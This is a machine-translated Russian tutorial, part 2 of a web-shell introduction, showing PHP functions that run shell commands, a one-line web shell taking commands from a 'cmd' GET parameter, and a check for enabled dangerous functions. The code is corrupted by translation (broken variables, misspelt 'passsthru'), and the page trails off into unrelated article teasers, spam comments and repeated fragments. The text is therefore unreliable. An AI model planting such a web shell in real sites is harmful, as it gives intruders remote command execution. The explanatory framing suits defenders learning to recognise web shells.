Веб-оболочки 101 с использованием PHP - Введение в веб-оболочки - Часть 2

  1. Система ()
  2. Exec ()
  3. shell_exec ()
  4. пройти()
  5. proc_open ()
  6. preg_replace () с модификатором / e
  7. Часть 3

В   часть 1   В этой серии мы рассмотрели, что такое веб-оболочка и почему злоумышленник попытается ее использовать

В часть 1 В этой серии мы рассмотрели, что такое веб-оболочка и почему злоумышленник попытается ее использовать. Во второй части этой серии мы рассмотрим некоторые конкретные примеры веб-оболочек на языке программирования PHP.

Веб-оболочки существуют практически для каждого языка веб-программирования, о котором вы только можете подумать. Мы решили сосредоточиться на PHP, потому что это наиболее широко используемый язык программирования в сети.

Веб-оболочки PHP не делают ничего, кроме использования встроенных функций PHP для выполнения команд. Ниже приведены некоторые из наиболее распространенных функций, используемых для выполнения команд оболочки в PHP.

Примечание. Для целей этой статьи мы отредактировали наш файл hosts и указали домен www.example.com на тестовый сервер.

Система ()

Функция system () принимает команду в качестве параметра и выводит результат.

В следующем примере на компьютере под управлением Microsoft Windows будет запущена команда dir, чтобы получить список каталогов, в котором выполняется файл PHP.

&lt;? php // Возвращаем список каталогов, в которых запускается файл (Windows) system ("dir"); ?> -> Том на диске C не имеет метки. Серийный номер тома: A08E-9C63 Каталог C: \ webserver \ www \ demo 27.04.2016, 22:21 <DIR>. 27.04.2016, 22:21 <DIR> .. 27.04.2016, 22:19 22 shell.php 1 Файл (ов) 22 байта 2 Dir (ов) 31 977 467 904 байта свободен

Аналогично, выполнение команды ls на компьютере с Linux дает аналогичный результат.

&lt;? php // Возвращаем список каталогов, в которых запускается файл (Linux) system ("ls -la"); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 27 апреля 20:43. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 26 апреля 27 20:41 shell.php

Другие команды имеют тот же эффект.

&lt;? php // Возвращаем пользователя, сценарий которого запущен в системе («whoami»); ?> -> www-data

Exec ()

Функция exec () принимает команду в качестве параметра, но не выводит результат. Если указан второй необязательный параметр, результат будет возвращен в виде массива. В противном случае будет отображаться только последняя строка результата.

&lt;? php // Выполняет, но ничего не возвращает exec ("ls -la"); ?> ->

Использование echo с функцией exec () выводит только последнюю строку вывода команды.

&lt;? php // Выполняет, возвращает только последнюю строку вывода echo exec ("ls -la"); ?> -> -rw-rw-r-- 1 секьюсер секьюсер 29 апреля 27 20:49 shell.php

Если указан второй параметр, результат возвращается в массиве.

&lt;? php // Выполняет, возвращает вывод в массив exec ("ls -la", $ array); print_r ($ массив); ?> -> Массив ([0] => всего 12 [1] => secuser drwxrwxr-x 2 4096 27 апреля 20:55. [2] => secuser drwxr-xr-x 6 4096 27 апреля 20: 40 .. [3] => -rw-rw-r-- 1 секьюсер секьюсер 49 апр. 27 20:54 shell.php)

shell_exec ()

Функция shell_exec () похожа на exec (), но вместо этого выводит весь результат в виде строки.

&lt;? php // Выполняет, возвращает весь вывод в виде строки echo shell_exec («ls -la«); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 28 апреля 18:24. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 36 апр. 28 18:24 shell.php

пройти()

Функция passthru () выполняет команду и возвращает вывод в необработанном формате.

&lt;? php // Выполняет, возвращает вывод в необработанном формате passsthru («ls -la«); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 28 апреля 18:23. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 29 апреля 28 18:23 shell.php

proc_open ()

Функция proc_open () может быть трудной для понимания (подробное описание функции можно найти в PHP документы ). Проще говоря, с помощью proc_open () мы можем создать обработчик (процесс), который будет использоваться для связи между нашим скриптом и программой, которую мы хотим запустить.

preg_replace () с модификатором / e

Функция preg_replace () может выполнять поиск и замену регулярного выражения. Модификатор / e (который устарел) выполняет замену с помощью eval (). Это означает, что мы можем затем передать PHP-код, который будет выполнен функцией eval ().

&lt;? php preg_replace ('/.*/ e', 'system ("whoami");', ''); ?> -> www-data

Обратные кавычки

Удивительно, но не многие разработчики PHP знают об этом, однако PHP будет выполнять содержимое обратных символов (`) как команду оболочки.

Примечание. Символ обратной черты (`) не следует путать с символом одинарных кавычек (')

&lt;? php $ output = `whoami`; echo "<pre> $ output </ pre>"; ?> -> www-data

Исходя из вышеизложенного, ниже приведена веб-оболочка PHP в ее самой простой форме.

&lt;? php system ($ _ GET ['cmd']);?>

Он использует функцию system () для выполнения команд, которые передаются через параметр GET HTTP-запроса 'cmd' .

Он использует функцию system () для выполнения команд, которые передаются через параметр GET HTTP-запроса 'cmd'

Мы установили, что эти функции (и некоторые другие) могут быть очень опасными. Что еще более опасно, так это то, что все эти встроенные команды PHP включены по умолчанию, когда установлен PHP, и большинство системных администраторов не отключают их.

Если вы не уверены, включены ли они в вашей системе, следующая команда (необходимо установить PHP CLI) вернет список опасных функций, которые включены.

php -r 'print_r (get_defined_functions ());' | grep -E '(system | exec | shell_exec | passthru | proc_open | popen | curl_exec | curl_multi_exec | parse_ini_file | show_source)' &lt;? php print_r (get_defined_functions ()); ?>

При установке по умолчанию мы видим, что все функции, упомянутые выше, включены.

[669] => exec [670] => system [673] => passthru [674] => shell_exec [675] => proc_open [786] => show_source [807] => parse_ini_file [843] => popen

Часть 3

Хранение паутины под прикрытием

Похожие

Защитите wp-login.php от перебора
Быстрые Шаги: Сначала создайте файл .htpasswd. Отредактируйте .htccess, чтобы ограничить доступ wp-login только для имени пользователя и паролей, определенных в файле .htpasswd. Очистите кеш вашего браузера. Вы можете использовать правила .htaccess, чтобы защитить свой файл wp-login.php паролем от попыток входа в систему методом грубой силы. Процесс потребует дополнительный уровень безопасности (дополнительное имя пользователя
Adminer - Управление базой данных в одном файле PHP
Adminer (ранее phpMinAdmin) - это полнофункциональный инструмент управления базами данных, написанный на PHP. И наоборот PhpMyAdmin он состоит из одного файла, готового к развертыванию на целевом сервере. Администратор доступен для MySQL , MariaDB , PostgreSQL , SQLite , MS SQL , Oracle , Firebird , SimpleDB ,
Как отправить электронное письмо, если ячейка была изменена в Excel?
... статья посвящена отправке электронных писем Outlook, если в Excel изменена какая-либо ячейка в указанной области. Отправьте электронное письмо, если ячейка в указанном диапазоне изменена с использованием кода VBA Отправьте электронное письмо, если ячейка в указанном диапазоне изменена с использованием кода VBA Если вы хотите создать новое электронное письмо автоматически с активной прикрепленной книгой, если ячейки
Краткое введение в ОТДЫХ
Вы можете знать или не знать, что идет дискуссия о «правильном» способе реализации гетерогенного взаимодействия между приложениями: в то время как текущий основной поток явно фокусируется на веб-сервисах на основе SOAP, WSDL и юниверса спецификации WS- * небольшое, но очень громкое меньшинство утверждает, что есть лучший способ: REST, сокращение от REpresentational State Transfer. В этой статье я попытаюсь представить прагматичное введение в интеграцию REST и RESTful HTTP-приложений, не углубляясь
Предотвращение атак грубой силы на сайты WordPress
... часть времени атаки грубой силы совершаются с помощью ботов. Мы можем просто проверить, была ли форма отправлена ​​человеком или нет. Если он представлен ботом, то мы просто не обрабатываем его. Агбонгама Коллинз написал статью в SitePoint о том, как интегрировать Нет Google CAPTCHA reCAPTCHA в форме входа в WordPress , Нет CAPTCHA reCAPTCHA - это простой и удобный для пользователя способ попросить

Комментарии

Нужна операционная система Microsoft Windows, чтобы начать работу с Microsoft Access?
Нужна операционная система Microsoft Windows, чтобы начать работу с Microsoft Access? Купить прямо ниже: Windows 10 Home Windows 10 Pro
Остальная часть программного обеспечения в изобилии обеспечивает безопасность вашего ПК, она является супер-доступной по цене и простой в использовании - что еще можно пожелать?
Остальная часть программного обеспечения в изобилии обеспечивает безопасность вашего ПК, она является супер-доступной по цене и простой в использовании - что еще можно пожелать? 03. Webroot SecureAnywhere

Lt;?
Php // Возвращаем список каталогов, в которых запускается файл (Windows) system ("dir"); ?
Lt;?
Php // Возвращаем список каталогов, в которых запускается файл (Linux) system ("ls -la"); ?
Lt;?
Php // Возвращаем пользователя, сценарий которого запущен в системе («whoami»); ?
Lt;?
Php // Выполняет, но ничего не возвращает exec ("ls -la"); ?
Lt;?
Php // Выполняет, возвращает только последнюю строку вывода echo exec ("ls -la"); ?